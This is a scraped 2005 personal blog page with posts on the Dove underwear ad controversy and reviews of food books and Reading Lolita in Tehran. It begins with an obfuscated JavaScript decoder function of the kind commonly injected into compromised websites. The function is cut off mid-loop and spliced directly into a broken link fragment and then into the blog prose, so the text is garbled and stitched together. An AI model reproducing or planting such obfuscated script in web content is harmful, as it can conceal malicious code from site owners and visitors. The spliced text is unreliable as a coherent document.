function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndanderthal_was_considered_a_turn_on.php”>The Chicagoist take on the Sun-Times writers:

Excuse us, but what the fuck gentlemen? Did a woman with a little junk in her trunk break your hearts? What the hell is it to you if a company uses women who have a tummy to sell their product in their underwear? It isn’t that Chicagoist thinks we should each subscribe to some carbon-copied ideal of what is considered beautiful—what melts your butter is what melts your butter, after all.

But that’s not what this is about. This is about your use of the words “unsettling” and “disturbing” followed by other choice terms such as “chunky.” This is about you three excusing yourselves for your ignorance with some lazy argument centering on you just being “a man.”

The ads are causing a stir in the media but they are also causing a stir among women. There is the complaint and recognition that dove is using this campaign to sell yet another fat-product, “firming cream”. Who buys this stuff? While I applaud the use of real women with real curves, because I like to applaud my own every now and then, I still know that beauty companies still have their bottom line in mind. Even while graciously promoting the boosting of self-esteem of women, it is still a mixed message when it is a product the reminds us that while we should feel more comfortable in our skins, it still isn’t good enough.

Aww, beauty and the media, something that will probably never go hand in hand, because it is in the eye of the beholder and our society has a long way to go to reverse the guerrilla marketing that has forced wafer thin models into our definition of beauty. And, as the country fights the ever increase battle of weight and obseity, it may never happen. When so many people are making new belt holes, that impossible ideal will probably grow stronger and further enforce those expanding waist lines, because, if size 1 is what it takes to be beautiful, why bother trying to lose weight if you know you’ll never look that good?

July 20, 2005

Blog of a Bookslut

Filed under: books — suzanne henderson @ 9:20 pm

Blog of a Bookslut

So many things have caught my interest lately. I’d grown so tired of blogs that I’d almost given up on even opening a browser every day. But since i’ve had time to turn a few pages this summer, I’m catching up on some reading. I’m finding the book slut to be a good source of suggestion.

July 19, 2005

Garlic and Sapphires : The Secret Life of a Critic in Disguise

Filed under: books, food — suzanne henderson @ 1:33 pm

Garlic and Sapphires : The Secret Life of a Critic in Disguise by Ruth Reichl

I just picked this up on 7-day loan from the library to supplement my other readings. So far I’ve made it through the first chapter over lunch and it looks very promising. I think this is her third book on the subject of food, hopefully they are not a prerequisite for this one.

Oh, and I’m also finding more little treasures in [The Artful Eater] as I occasionally pick it up and read more.

July 18, 2005

Book Review: The Artful Eater

Filed under: review, books, food — suzanne henderson @ 6:48 am

The Artful Eater

Current book that I’m reading and that I unfairly nitpicked last night. I’ll give it another chance since I’ve given it a few more glances and it has peaked my interest a little more in light of a little less crabby mood. However, I should still go pick up a another book at the store to read on the side.


I never really finished the book but still found it worthwhile. It is a book best suited for the moments when you’ve a small span of time to spare and don’t want to spend it doing nothing. All of my other food readings have provided me a wealth of information and this book added very little to my knowledge. Of course, if I was new to food it would be an informative rescource.

July 17, 2005

book quest

Filed under: books, food, life — suzanne henderson @ 9:41 pm

Finally went grocery shopping today. I get cranky when it doesn’t happen for a couple weeks, though it is as much my responsibility as anyone else’s. So, there is food in the house. I made banana muffins this afternoon, didn’t use any ingredients that came home from the store, and they turned out… edible. Chris likes them and agreed that they taste healthy, which I guess is the point, I think that they are awful, but I don’t really like banana bread to begin with. They didn’t look terribly inviting right out of the oven, just your average healthnut muffin.

In looking up websites today, i found a book that sounded pretty neat, [The Artful Eater]. The library didn’t carry it and I got all cranky about it because they didn’t carry that nor any of the other books that I was also looking for this afternoon.

We ended up going out to eat at a little place in… some no-name neighborhood in Columbia (because I wanted fettucini alfredo, and we were hoping to find somewhere besides [pasta plus] that serves a good bowl of pasta) and then went to the book store to pick up some books.

We first went to [Daedalus Books] in [Columbia, MD] to check out their selection. While their selection is limited, the discount prices are worth checking out. Chris walked out with several new books for under $40. And at least one of the books would have listed for that much at our next stop: [Borders]. At Borders, I found the book that I wanted and nothing more. I’m feeling a little overwhelmed by spaces right now, so the rows and rows of books were a bit too much. I was happy to get my book and just wander around without intent until we were ready to leave.

But, it turns out, that I don’t think I care too much for the book I have. I’ve read a few of the essays from it and I’m not all that impressed with what I’ve see. I guess I have just watched too many [Good Eats] episodes and read too many things by [Alton Brown] and that this author isn’t able to hold my interest as he, rather dryly, doles out the historical and gourmetical qualities of basic ingredients of food. I’ve already had my modern-Americanize-flash-media attention-deficient-disorder catered dose of similar information severed to me in a far more tasteful platter and I don’t have a snooty snout that needs to pretend that I need fine dining airs to make my basic ingredient knowledge feel more complete. Not to say that it isn’t a really neat book, I’m just cranky and frustrated that I’ve gone to so much trouble to get a book that appears to be a dissapointment. If it had be any other day, I’m sure I’d be appropriately amused by the author’s essays and have said it is a quaint additions to a cook’s bookshelf for the curious visitor to stumble upon.

June 29, 2005

Book Review: Reading Lolita in Tehran

Filed under: review, books — suzanne henderson @ 3:19 pm

a book by Azar Nafisi.

I am still reading this book but figured that I better review what I can now before I forget. This a true story.

The first section of this book talks about the reading group the author formed for several women in Theran, Iran. It starts in the time when modesty laws and modesty police were in effect, that the veil was being enforced along with many other restrictions on women behaviors. THe majority of the first section focuses on the texts that they read and it feels much more like a book review of those stories than a story of it’s own. I got tired of reading these reviews and rushed along to the end of this sections. However, I did go to the library and order the books that were mentioned in the section because from her comments, they sounded like something I should read. She mentioned: Lolita, Invitation to a Beheading, and The Great Gatsby, and perhaps others.

The second sections focuses on her experience when she was still teaching at the University before the new modesty laws were in place and enforced. She does an excellent job showing the movement in Iran at the time and what people were doing and feeling and how people like her responded to the restrictions being place. I found it very powerful to read, thinking that something like that could happen here as well. If you read her account then you might also see how it could.

I look forward to finishing this book.

Update: I did eventually finish it and felt that it didn’t really live up to my expectations. The constant addition of critiques of the literary novels really got in the way. I understand the reason she wrote it that way, especially seeing as how that is one of her professional/academic interests, but it really left me wondering more about the people involved and wishing that she’d just stop talking about the stories. So, overall, it is really my expectations that fault the book — not the book in and of itself. If someone with different expectations read this story, they would probably get a lot more out of it.